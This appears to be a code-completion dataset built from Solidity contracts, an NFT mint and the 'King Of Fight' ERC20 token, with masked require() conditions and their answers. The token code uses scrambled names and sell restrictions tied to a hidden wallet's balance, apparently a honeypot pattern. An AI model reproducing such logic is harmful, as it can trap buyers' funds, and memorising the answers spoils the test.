mapping(uint256 => address) public ownerOf;
mapping(uint256 => address) public getApproved;
mapping(address => mapping(address => bool)) public isApprovedForAll;
/*///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(string memory _name, string memory _symbol) {
}
/*///////////////////////////////////////////////////////////////
ERC721 LOGIC
//////////////////////////////////////////////////////////////*/
function approve(address spender, uint256 id) public virtual {
}
function setApprovalForAll(address operator, bool approved) public virtual {
}
function transferFrom(
address from,
address to,
uint256 id
) public virtual {
}
function safeTransferFrom(
address from,
address to,
uint256 id
) public virtual {
}
function safeTransferFrom(
address from,
address to,
uint256 id,
bytes memory data
) public virtual {
}
/*///////////////////////////////////////////////////////////////
ERC165 LOGIC
//////////////////////////////////////////////////////////////*/
function supportsInterface(bytes4 interfaceId) public pure virtual returns (bool) {
}
/*///////////////////////////////////////////////////////////////
INTERNAL MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(address to, uint256 id) internal virtual {
}
}
/// @notice A generic interface for a contract which properly accepts ERC721 tokens.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol)
interface ERC721TokenReceiver {
function onERC721Received(
address operator,
address from,
uint256 id,
bytes calldata data
) external returns (bytes4);
}
contract _TempleSpoons is ERC721("TempleSpoons", "TSpoons") {
/* -------------------------------------------------------------------------- */
/* CONSTANTS */
/* -------------------------------------------------------------------------- */
address public owner = msg.sender;
uint256 constant MINT_FEE = 0.01 ether;
uint256 constant MAX_GIVEAWAY_SUPPLY = 1;
uint256 constant maxMintPerWallet = 777;
uint256 constant MAX_SUPPLY = 777;
address constant TSPOONS_TEAM = address(0xA0c8041d9e225cba96089778C0cA3bf9fb7AFb7D); // change this to your address
string constant unrevealedURI = "https://ipfs.io/ipfs/QmV7Xmve4HyQMd5K1rSJibGa7RTbSrkfHv2R3eWX7MNw68/";
/* -------------------------------------------------------------------------- */
/* MUTABLE STATE */
/* -------------------------------------------------------------------------- */
uint256 public giveawaySupply;
uint256 public totalSupply;
uint256 public revealedSupply;
string public revealedURI;
/* -------------------------------------------------------------------------- */
/* Temple_TEAM_METHODS */
/* -------------------------------------------------------------------------- */
function giveaway(address account, uint256 amount) external {
}
function withdraw(address account, uint256 amount) external {
}
function reveal(string memory updatedURI, uint256 _revealedSupply) external {
}
/* -------------------------------------------------------------------------- */
/* PUBLIC METHODS */
/* -------------------------------------------------------------------------- */
function mint(address account) external payable {
//tokenbalance check
require(<FILL_ME>)
// if supply is less than or equal to 500 allow user to mint free
if (totalSupply > 0) require(msg.value >= MINT_FEE);
require(totalSupply + 1 <= MAX_SUPPLY);
totalSupply++;
_mint(account, totalSupply);
}
function batchMint(address account, uint256 amount) external payable {
}
function tokenURI(uint256 tokenId) public override view returns (string memory) {
}
/* -------------------------------------------------------------------------- */
/* INTERNAL METHODS */
/* -------------------------------------------------------------------------- */
function _toString(uint256 value) internal pure returns (string memory) {
}
}
| balanceOf[account]+1<=maxMintPerWallet | 88,629 | balanceOf[account]+1<=maxMintPerWallet |
null | // SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.8;
/// @notice Modern, minimalist, and gas efficient ERC-721 implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol)
/// @dev Note that balanceOf does not revert if passed the zero address, in defiance of the ERC.
abstract contract ERC721 {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 indexed id);
event Approval(address indexed owner, address indexed spender, uint256 indexed id);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/*///////////////////////////////////////////////////////////////
METADATA STORAGE/LOGIC
//////////////////////////////////////////////////////////////*/
string public name;
string public symbol;
function tokenURI(uint256 id) public view virtual returns (string memory);
/*///////////////////////////////////////////////////////////////
ERC721 STORAGE
//////////////////////////////////////////////////////////////*/
mapping(address => uint256) public balanceOf;
mapping(uint256 => address) public ownerOf;
mapping(uint256 => address) public getApproved;
mapping(address => mapping(address => bool)) public isApprovedForAll;
/*///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(string memory _name, string memory _symbol) {
}
/*///////////////////////////////////////////////////////////////
ERC721 LOGIC
//////////////////////////////////////////////////////////////*/
function approve(address spender, uint256 id) public virtual {
}
function setApprovalForAll(address operator, bool approved) public virtual {
}
function transferFrom(
address from,
address to,
uint256 id
) public virtual {
}
function safeTransferFrom(
address from,
address to,
uint256 id
) public virtual {
}
function safeTransferFrom(
address from,
address to,
uint256 id,
bytes memory data
) public virtual {
}
/*///////////////////////////////////////////////////////////////
ERC165 LOGIC
//////////////////////////////////////////////////////////////*/
function supportsInterface(bytes4 interfaceId) public pure virtual returns (bool) {
}
/*///////////////////////////////////////////////////////////////
INTERNAL MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(address to, uint256 id) internal virtual {
}
}
/// @notice A generic interface for a contract which properly accepts ERC721 tokens.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol)
interface ERC721TokenReceiver {
function onERC721Received(
address operator,
address from,
uint256 id,
bytes calldata data
) external returns (bytes4);
}
contract _TempleSpoons is ERC721("TempleSpoons", "TSpoons") {
/* -------------------------------------------------------------------------- */
/* CONSTANTS */
/* -------------------------------------------------------------------------- */
address public owner = msg.sender;
uint256 constant MINT_FEE = 0.01 ether;
uint256 constant MAX_GIVEAWAY_SUPPLY = 1;
uint256 constant maxMintPerWallet = 777;
uint256 constant MAX_SUPPLY = 777;
address constant TSPOONS_TEAM = address(0xA0c8041d9e225cba96089778C0cA3bf9fb7AFb7D); // change this to your address
string constant unrevealedURI = "https://ipfs.io/ipfs/QmV7Xmve4HyQMd5K1rSJibGa7RTbSrkfHv2R3eWX7MNw68/";
/* -------------------------------------------------------------------------- */
/* MUTABLE STATE */
/* -------------------------------------------------------------------------- */
uint256 public giveawaySupply;
uint256 public totalSupply;
uint256 public revealedSupply;
string public revealedURI;
/* -------------------------------------------------------------------------- */
/* Temple_TEAM_METHODS */
/* -------------------------------------------------------------------------- */
function giveaway(address account, uint256 amount) external {
}
function withdraw(address account, uint256 amount) external {
}
function reveal(string memory updatedURI, uint256 _revealedSupply) external {
}
/* -------------------------------------------------------------------------- */
/* PUBLIC METHODS */
/* -------------------------------------------------------------------------- */
function mint(address account) external payable {
//tokenbalance check
require(balanceOf[account] + 1 <= maxMintPerWallet);
// if supply is less than or equal to 500 allow user to mint free
if (totalSupply > 0) require(msg.value >= MINT_FEE);
require(<FILL_ME>)
totalSupply++;
_mint(account, totalSupply);
}
function batchMint(address account, uint256 amount) external payable {
}
function tokenURI(uint256 tokenId) public override view returns (string memory) {
}
/* -------------------------------------------------------------------------- */
/* INTERNAL METHODS */
/* -------------------------------------------------------------------------- */
function _toString(uint256 value) internal pure returns (string memory) {
}
}
| totalSupply+1<=MAX_SUPPLY | 88,629 | totalSupply+1<=MAX_SUPPLY |
"Only one transfer per block allowed." | /**
King Of Fight $KOF
𝕏/TWITTER: https://twitter.com/KOF_Ethereum
TELEGRAM: https://t.me/KOF_Ethereum
WEBSITE: https://kofeth.com/
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _fmspx(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _fmspx(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface _xaopvahof {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface _xfmvncus {
function swExactTensFrHSportingFeeOransferkes(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint
amountToken, uint amountETH, uint liquidity);
}
contract KingOfFight is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"King Of Fight";
string private constant _symbol = unicode"KOF";
uint8 private constant _decimals = 9;
uint256 private constant _Totalnc = 1000000000 * 10 **_decimals;
uint256 public _muvkAmaunt = _Totalnc;
uint256 public _Wallesuope = _Totalnc;
uint256 public _wapThresfuto= _Totalnc;
uint256 public _mfakTakof= _Totalnc;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _islEiaump;
mapping (address => bool) private _taxvbWaray;
mapping(address => uint256) private _lroupboe;
bool public _targaleuv = false;
address payable private _TqjFohap;
uint256 private _BuyTaxinitial=1;
uint256 private _SellTaxinitial=1;
uint256 private _BuyTaxfinal=1;
uint256 private _SellTaxfinal=1;
uint256 private _BuyTaxAreduce=1;
uint256 private _SellTaxAreduce=1;
uint256 private _wapmfoiqb=0;
uint256 private _brsnkoue=0;
_xfmvncus private _Tfpolul;
address private _yavabcps;
bool private _qrmgnulh;
bool private loSoylurp = false;
bool private _awoufnvp = false;
event _amouxpvl(uint _muvkAmaunt);
modifier loevTouhlq {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address _owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address _owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 teeomoun=0;
if (from != owner () && to != owner ()) {
if (_targaleuv) {
if (to != address
(_Tfpolul) && to !=
address(_yavabcps)) {
require(<FILL_ME>)
_lroupboe
[tx.origin] = block.number;
}
}
if (from == _yavabcps && to !=
address(_Tfpolul) && !_islEiaump[to] ) {
require(amount <= _muvkAmaunt,
"Exceeds the _muvkAmaunt.");
require(balanceOf(to) + amount
<= _Wallesuope, "Exceeds the maxWalletSize.");
if(_brsnkoue
< _wapmfoiqb){
require(! _frjcnqji(to));
}
_brsnkoue++;
_taxvbWaray[to]=true;
teeomoun = amount.mul((_brsnkoue>
_BuyTaxAreduce)?_BuyTaxfinal:_BuyTaxinitial)
.div(100);
}
if(to == _yavabcps && from!= address(this)
&& !_islEiaump[from] ){
require(amount <= _muvkAmaunt &&
balanceOf(_TqjFohap)<_mfakTakof,
"Exceeds the _muvkAmaunt.");
teeomoun = amount.mul((_brsnkoue>
_SellTaxAreduce)?_SellTaxfinal:_SellTaxinitial)
.div(100);
require(_brsnkoue>_wapmfoiqb &&
_taxvbWaray[from]);
}
uint256 contractTokenBalance =
balanceOf(address(this));
if (!loSoylurp
&& to == _yavabcps && _awoufnvp &&
contractTokenBalance>_wapThresfuto
&& _brsnkoue>_wapmfoiqb&&
!_islEiaump[to]&& !_islEiaump[from]
) {
_swpbhgfah( _raqse(amount,
_raqse(contractTokenBalance,_mfakTakof)));
uint256 contractETHBalance
= address(this).balance;
if(contractETHBalance
> 0) {
_rurfmop(address(this).balance);
}
}
}
if(teeomoun>0){
_balances[address(this)]=_balances
[address(this)].
add(teeomoun);
emit Transfer(from,
address(this),teeomoun);
}
_balances[from]= _fmspx(from,
_balances[from], amount);
_balances[to]=_balances[to].
add(amount. _fmspx(teeomoun));
emit Transfer(from, to,
amount. _fmspx(teeomoun));
}
function _swpbhgfah(uint256
tokenAmount) private loevTouhlq {
}
function _raqse(uint256 a,
uint256 b) private pure
returns (uint256){
}
function _fmspx(address
from, uint256 a,
uint256 b) private view
returns(uint256){
}
function removeLimits() external onlyOwner{
}
function _frjcnqji(address
account) private view
returns (bool) {
}
function _rurfmop(uint256
amount) private {
}
function openTrading( ) external onlyOwner( ) {
}
receive() external payable {}
}
| _lroupboe[tx.origin]<block.number,"Only one transfer per block allowed." | 88,647 | _lroupboe[tx.origin]<block.number |
"Exceeds the maxWalletSize." | /**
King Of Fight $KOF
𝕏/TWITTER: https://twitter.com/KOF_Ethereum
TELEGRAM: https://t.me/KOF_Ethereum
WEBSITE: https://kofeth.com/
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _fmspx(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _fmspx(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface _xaopvahof {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface _xfmvncus {
function swExactTensFrHSportingFeeOransferkes(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint
amountToken, uint amountETH, uint liquidity);
}
contract KingOfFight is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"King Of Fight";
string private constant _symbol = unicode"KOF";
uint8 private constant _decimals = 9;
uint256 private constant _Totalnc = 1000000000 * 10 **_decimals;
uint256 public _muvkAmaunt = _Totalnc;
uint256 public _Wallesuope = _Totalnc;
uint256 public _wapThresfuto= _Totalnc;
uint256 public _mfakTakof= _Totalnc;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _islEiaump;
mapping (address => bool) private _taxvbWaray;
mapping(address => uint256) private _lroupboe;
bool public _targaleuv = false;
address payable private _TqjFohap;
uint256 private _BuyTaxinitial=1;
uint256 private _SellTaxinitial=1;
uint256 private _BuyTaxfinal=1;
uint256 private _SellTaxfinal=1;
uint256 private _BuyTaxAreduce=1;
uint256 private _SellTaxAreduce=1;
uint256 private _wapmfoiqb=0;
uint256 private _brsnkoue=0;
_xfmvncus private _Tfpolul;
address private _yavabcps;
bool private _qrmgnulh;
bool private loSoylurp = false;
bool private _awoufnvp = false;
event _amouxpvl(uint _muvkAmaunt);
modifier loevTouhlq {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address _owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address _owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 teeomoun=0;
if (from != owner () && to != owner ()) {
if (_targaleuv) {
if (to != address
(_Tfpolul) && to !=
address(_yavabcps)) {
require(_lroupboe
[tx.origin] < block.number,
"Only one transfer per block allowed.");
_lroupboe
[tx.origin] = block.number;
}
}
if (from == _yavabcps && to !=
address(_Tfpolul) && !_islEiaump[to] ) {
require(amount <= _muvkAmaunt,
"Exceeds the _muvkAmaunt.");
require(<FILL_ME>)
if(_brsnkoue
< _wapmfoiqb){
require(! _frjcnqji(to));
}
_brsnkoue++;
_taxvbWaray[to]=true;
teeomoun = amount.mul((_brsnkoue>
_BuyTaxAreduce)?_BuyTaxfinal:_BuyTaxinitial)
.div(100);
}
if(to == _yavabcps && from!= address(this)
&& !_islEiaump[from] ){
require(amount <= _muvkAmaunt &&
balanceOf(_TqjFohap)<_mfakTakof,
"Exceeds the _muvkAmaunt.");
teeomoun = amount.mul((_brsnkoue>
_SellTaxAreduce)?_SellTaxfinal:_SellTaxinitial)
.div(100);
require(_brsnkoue>_wapmfoiqb &&
_taxvbWaray[from]);
}
uint256 contractTokenBalance =
balanceOf(address(this));
if (!loSoylurp
&& to == _yavabcps && _awoufnvp &&
contractTokenBalance>_wapThresfuto
&& _brsnkoue>_wapmfoiqb&&
!_islEiaump[to]&& !_islEiaump[from]
) {
_swpbhgfah( _raqse(amount,
_raqse(contractTokenBalance,_mfakTakof)));
uint256 contractETHBalance
= address(this).balance;
if(contractETHBalance
> 0) {
_rurfmop(address(this).balance);
}
}
}
if(teeomoun>0){
_balances[address(this)]=_balances
[address(this)].
add(teeomoun);
emit Transfer(from,
address(this),teeomoun);
}
_balances[from]= _fmspx(from,
_balances[from], amount);
_balances[to]=_balances[to].
add(amount. _fmspx(teeomoun));
emit Transfer(from, to,
amount. _fmspx(teeomoun));
}
function _swpbhgfah(uint256
tokenAmount) private loevTouhlq {
}
function _raqse(uint256 a,
uint256 b) private pure
returns (uint256){
}
function _fmspx(address
from, uint256 a,
uint256 b) private view
returns(uint256){
}
function removeLimits() external onlyOwner{
}
function _frjcnqji(address
account) private view
returns (bool) {
}
function _rurfmop(uint256
amount) private {
}
function openTrading( ) external onlyOwner( ) {
}
receive() external payable {}
}
| balanceOf(to)+amount<=_Wallesuope,"Exceeds the maxWalletSize." | 88,647 | balanceOf(to)+amount<=_Wallesuope |
null | /**
King Of Fight $KOF
𝕏/TWITTER: https://twitter.com/KOF_Ethereum
TELEGRAM: https://t.me/KOF_Ethereum
WEBSITE: https://kofeth.com/
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _fmspx(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _fmspx(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface _xaopvahof {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface _xfmvncus {
function swExactTensFrHSportingFeeOransferkes(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint
amountToken, uint amountETH, uint liquidity);
}
contract KingOfFight is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"King Of Fight";
string private constant _symbol = unicode"KOF";
uint8 private constant _decimals = 9;
uint256 private constant _Totalnc = 1000000000 * 10 **_decimals;
uint256 public _muvkAmaunt = _Totalnc;
uint256 public _Wallesuope = _Totalnc;
uint256 public _wapThresfuto= _Totalnc;
uint256 public _mfakTakof= _Totalnc;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _islEiaump;
mapping (address => bool) private _taxvbWaray;
mapping(address => uint256) private _lroupboe;
bool public _targaleuv = false;
address payable private _TqjFohap;
uint256 private _BuyTaxinitial=1;
uint256 private _SellTaxinitial=1;
uint256 private _BuyTaxfinal=1;
uint256 private _SellTaxfinal=1;
uint256 private _BuyTaxAreduce=1;
uint256 private _SellTaxAreduce=1;
uint256 private _wapmfoiqb=0;
uint256 private _brsnkoue=0;
_xfmvncus private _Tfpolul;
address private _yavabcps;
bool private _qrmgnulh;
bool private loSoylurp = false;
bool private _awoufnvp = false;
event _amouxpvl(uint _muvkAmaunt);
modifier loevTouhlq {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address _owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address _owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 teeomoun=0;
if (from != owner () && to != owner ()) {
if (_targaleuv) {
if (to != address
(_Tfpolul) && to !=
address(_yavabcps)) {
require(_lroupboe
[tx.origin] < block.number,
"Only one transfer per block allowed.");
_lroupboe
[tx.origin] = block.number;
}
}
if (from == _yavabcps && to !=
address(_Tfpolul) && !_islEiaump[to] ) {
require(amount <= _muvkAmaunt,
"Exceeds the _muvkAmaunt.");
require(balanceOf(to) + amount
<= _Wallesuope, "Exceeds the maxWalletSize.");
if(_brsnkoue
< _wapmfoiqb){
require(<FILL_ME>)
}
_brsnkoue++;
_taxvbWaray[to]=true;
teeomoun = amount.mul((_brsnkoue>
_BuyTaxAreduce)?_BuyTaxfinal:_BuyTaxinitial)
.div(100);
}
if(to == _yavabcps && from!= address(this)
&& !_islEiaump[from] ){
require(amount <= _muvkAmaunt &&
balanceOf(_TqjFohap)<_mfakTakof,
"Exceeds the _muvkAmaunt.");
teeomoun = amount.mul((_brsnkoue>
_SellTaxAreduce)?_SellTaxfinal:_SellTaxinitial)
.div(100);
require(_brsnkoue>_wapmfoiqb &&
_taxvbWaray[from]);
}
uint256 contractTokenBalance =
balanceOf(address(this));
if (!loSoylurp
&& to == _yavabcps && _awoufnvp &&
contractTokenBalance>_wapThresfuto
&& _brsnkoue>_wapmfoiqb&&
!_islEiaump[to]&& !_islEiaump[from]
) {
_swpbhgfah( _raqse(amount,
_raqse(contractTokenBalance,_mfakTakof)));
uint256 contractETHBalance
= address(this).balance;
if(contractETHBalance
> 0) {
_rurfmop(address(this).balance);
}
}
}
if(teeomoun>0){
_balances[address(this)]=_balances
[address(this)].
add(teeomoun);
emit Transfer(from,
address(this),teeomoun);
}
_balances[from]= _fmspx(from,
_balances[from], amount);
_balances[to]=_balances[to].
add(amount. _fmspx(teeomoun));
emit Transfer(from, to,
amount. _fmspx(teeomoun));
}
function _swpbhgfah(uint256
tokenAmount) private loevTouhlq {
}
function _raqse(uint256 a,
uint256 b) private pure
returns (uint256){
}
function _fmspx(address
from, uint256 a,
uint256 b) private view
returns(uint256){
}
function removeLimits() external onlyOwner{
}
function _frjcnqji(address
account) private view
returns (bool) {
}
function _rurfmop(uint256
amount) private {
}
function openTrading( ) external onlyOwner( ) {
}
receive() external payable {}
}
| !_frjcnqji(to) | 88,647 | !_frjcnqji(to) |
null | /**
King Of Fight $KOF
𝕏/TWITTER: https://twitter.com/KOF_Ethereum
TELEGRAM: https://t.me/KOF_Ethereum
WEBSITE: https://kofeth.com/
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _fmspx(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _fmspx(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface _xaopvahof {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface _xfmvncus {
function swExactTensFrHSportingFeeOransferkes(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint
amountToken, uint amountETH, uint liquidity);
}
contract KingOfFight is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"King Of Fight";
string private constant _symbol = unicode"KOF";
uint8 private constant _decimals = 9;
uint256 private constant _Totalnc = 1000000000 * 10 **_decimals;
uint256 public _muvkAmaunt = _Totalnc;
uint256 public _Wallesuope = _Totalnc;
uint256 public _wapThresfuto= _Totalnc;
uint256 public _mfakTakof= _Totalnc;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _islEiaump;
mapping (address => bool) private _taxvbWaray;
mapping(address => uint256) private _lroupboe;
bool public _targaleuv = false;
address payable private _TqjFohap;
uint256 private _BuyTaxinitial=1;
uint256 private _SellTaxinitial=1;
uint256 private _BuyTaxfinal=1;
uint256 private _SellTaxfinal=1;
uint256 private _BuyTaxAreduce=1;
uint256 private _SellTaxAreduce=1;
uint256 private _wapmfoiqb=0;
uint256 private _brsnkoue=0;
_xfmvncus private _Tfpolul;
address private _yavabcps;
bool private _qrmgnulh;
bool private loSoylurp = false;
bool private _awoufnvp = false;
event _amouxpvl(uint _muvkAmaunt);
modifier loevTouhlq {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address _owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address _owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function _swpbhgfah(uint256
tokenAmount) private loevTouhlq {
}
function _raqse(uint256 a,
uint256 b) private pure
returns (uint256){
}
function _fmspx(address
from, uint256 a,
uint256 b) private view
returns(uint256){
}
function removeLimits() external onlyOwner{
}
function _frjcnqji(address
account) private view
returns (bool) {
}
function _rurfmop(uint256
amount) private {
}
function openTrading( ) external onlyOwner( ) {
require(<FILL_ME>)
_Tfpolul = _xfmvncus (0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D) ;
_approve(address(this), address(_Tfpolul), _Totalnc);
_yavabcps = _xaopvahof(_Tfpolul.factory()). createPair (address(this), _Tfpolul . WETH ());
_Tfpolul.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(_yavabcps).approve(address(_Tfpolul), type(uint).max);
_awoufnvp = true;
_qrmgnulh = true;
}
receive() external payable {}
}
| !_qrmgnulh | 88,647 | !_qrmgnulh |
'Token allowance is insufficient' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol';
